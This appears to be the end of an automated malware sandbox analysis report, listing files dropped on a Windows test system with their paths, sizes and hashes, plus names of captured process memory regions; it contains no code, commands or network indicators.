                                                                                                                                              • SHA256 2b6455abbf84755be4dcf840ebbfed9c480dced7bd74806bafee05465a5e752d
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              tmp2730.tmp.bat

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\tmp2730.tmp.bat
                                                                                                                                              • Size 161B
                                                                                                                                              • SHA256 7be5b292e2401134da84061d69dfb8389d7b7b3fe3c9dc9f7e4bcb238dcffd91
                                                                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                                                                              tmp2A1E.tmp.bat

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\tmp2A1E.tmp.bat
                                                                                                                                              • Size 161B
                                                                                                                                              • SHA256 634105f2c8cb0efb410a623c6def54cc06ba5e9a2c743277398794c39cf9aa98
                                                                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                                                                              tmpF895.tmp

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\tmpF895.tmp
                                                                                                                                              • Size 873KB
                                                                                                                                              • SHA256 6a1e08d3a6759f42ea2480450bdf1f369bf50236ba1dc94cfddbf02b5dd7ecaa
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              wmsetup.log

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
                                                                                                                                              • Size 1KB
                                                                                                                                              • SHA256 927a5f7d76ce9d25ca9f1c406cd1763c8f8dbe85ff99a0dbb000c22ddf3bafd7
                                                                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                                                                              74d7f43c1561fc1e.automaticDestinations-ms

                                                                                                                                              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\74d7f43c1561fc1e.automaticDestinations-ms
                                                                                                                                              • Size 1KB
                                                                                                                                              • SHA256 6c3fc6af3ec613df9e46616ec92c3d026387b9a2f8cbfb3c3a28ac856a29fe61
                                                                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                                                                              74d7f43c1561fc1e.customDestinations-ms

                                                                                                                                              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\74d7f43c1561fc1e.customDestinations-ms
                                                                                                                                              • Size 3KB
                                                                                                                                              • SHA256 77a77298b728597ba73ce52cf5327c4976db81f37f2ff33673babc3ceac7358a
                                                                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                                                                              74d7f43c1561fc1e.customDestinations-ms

                                                                                                                                              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\74d7f43c1561fc1e.customDestinations-ms
                                                                                                                                              • Size 1KB
                                                                                                                                              • SHA256 4e283680213d5ed8e1619900255263cc550e3dc915b60e4c51d43e73e7aa05fd
                                                                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                                                                              memory/748-68-0x000001BA6FAE0000-0x000001BA6FB0B000-memory.dmp

                                                                                                                                              memory/748-67-0x000001BA6FAB0000-0x000001BA6FAD5000-memory.dmp

                                                                                                                                              memory/748-69-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/972-72-0x00000216155F0000-0x000002161561B000-memory.dmp

                                                                                                                                              memory/972-73-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/980-76-0x000001FA3F1C0000-0x000001FA3F1EB000-memory.dmp

                                                                                                                                              memory/980-77-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1004-81-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1004-80-0x00000167721A0000-0x00000167721CB000-memory.dmp

                                                                                                                                              memory/1032-85-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1032-84-0x0000012A57450000-0x0000012A5747B000-memory.dmp

                                                                                                                                              memory/1124-88-0x00000293B44B0000-0x00000293B44DB000-memory.dmp

                                                                                                                                              memory/1124-89-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1200-93-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1200-92-0x000002735D340000-0x000002735D36B000-memory.dmp

                                                                                                                                              memory/1248-97-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1248-96-0x000001F628870000-0x000001F62889B000-memory.dmp

                                                                                                                                              memory/1316-101-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1316-100-0x0000019166FD0000-0x0000019166FFB000-memory.dmp

                                                                                                                                              memory/1372-105-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1372-104-0x0000015206FC0000-0x0000015206FEB000-memory.dmp

                                                                                                                                              memory/1408-63-0x00007FFB96540000-0x00007FFB967A3000-memory.dmp

                                                                                                                                              memory/1408-65-0x00007FFB95910000-0x00007FFB959D7000-memory.dmp

                                                                                                                                              memory/1572-108-0x000002C76BC40000-0x000002C76BC6B000-memory.dmp

                                                                                                                                              memory/1572-109-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1612-112-0x000001FF591A0000-0x000001FF591CB000-memory.dmp

                                                                                                                                              memory/1612-113-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1636-117-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1636-116-0x000002088B940000-0x000002088B96B000-memory.dmp

                                                                                                                                              memory/1732-121-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1732-120-0x00000209AE520000-0x00000209AE54B000-memory.dmp

                                                                                                                                              memory/1744-125-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1744-124-0x000001CC46B10000-0x000001CC46B3B000-memory.dmp

                                                                                                                                              memory/1796-129-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/1796-128-0x000001EDAF1C0000-0x000001EDAF1EB000-memory.dmp

                                                                                                                                              memory/2016-133-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2016-132-0x0000022180F10000-0x0000022180F3B000-memory.dmp

                                                                                                                                              memory/2024-136-0x0000019E12D60000-0x0000019E12D8B000-memory.dmp

                                                                                                                                              memory/2024-137-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2076-140-0x0000025689D30000-0x0000025689D5B000-memory.dmp

                                                                                                                                              memory/2076-141-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2084-145-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2084-144-0x0000026414DC0000-0x0000026414DEB000-memory.dmp

                                                                                                                                              memory/2112-148-0x0000026B44F40000-0x0000026B44F6B000-memory.dmp

                                                                                                                                              memory/2112-149-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2208-152-0x000001EB2AD70000-0x000001EB2AD9B000-memory.dmp

                                                                                                                                              memory/2208-153-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2260-15-0x00007FF799380000-0x00007FF79943E000-memory.dmp

                                                                                                                                              memory/2312-156-0x00000207C6A70000-0x00000207C6A9B000-memory.dmp

                                                                                                                                              memory/2312-157-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2368-161-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2368-160-0x0000024D03D90000-0x0000024D03DBB000-memory.dmp

                                                                                                                                              memory/2408-164-0x000001B609B50000-0x000001B609B7B000-memory.dmp

                                                                                                                                              memory/2408-165-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2496-168-0x000001E4B0110000-0x000001E4B013B000-memory.dmp

                                                                                                                                              memory/2496-169-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2548-2-0x00007FF6DB030000-0x00007FF6DB0EE000-memory.dmp

                                                                                                                                              memory/2592-172-0x0000022A4FEC0000-0x0000022A4FEEB000-memory.dmp

                                                                                                                                              memory/2592-173-0x00007FFB56680000-0x00007FFB56690000-memory.dmp

                                                                                                                                              memory/2656-176-0x000002557D600000-0x000002557D62B000-memory.dmp

                                                                                                                                              memory/2976-36-0x0000000002580000-0x00000000025C2000-memory.dmp

                                                                                                                                              memory/3880-31-0x00007FF799380000-0x00007FF79943E000-memory.dmp

                                                                                                                                              memory/3880-16-0x00007FF799380000-0x00007FF79943E000-memory.dmp

                                                                                                                                              memory/3880-14-0x00007FF799380000-0x00007FF79943E000-memory.dmp

                                                                                                                                              memory/4348-10-0x000001AAFE140000-0x000001AAFE14A000-memory.dmp

                                                                                                                                              memory/4348-5-0x000001AAFE070000-0x000001AAFE092000-memory.dmp

                                                                                                                                              memory/4348-8-0x000001AAFE120000-0x000001AAFE13E000-memory.dmp

                                                                                                                                              memory/4348-9-0x000001AAFE2E0000-0x000001AAFE392000-memory.dmp

                                                                                                                                              memory/4688-59-0x00000000000F0000-0x0000000000106000-memory.dmp

                                                                                                                                              memory/4716-30-0x00000000016A0000-0x00000000016E2000-memory.dmp

                                                                                                                                              memory/4716-29-0x0000000000DB0000-0x0000000000E3C000-memory.dmp

                                                                                                                                              memory/4720-371-0x0000000005FA0000-0x0000000006032000-memory.dmp

                                                                                                                                              memory/4720-370-0x0000000000F30000-0x0000000000F46000-memory.dmp

                                                                                                                                              memory/6128-13-0x00007FF619820000-0x00007FF6198DE000-memory.dmp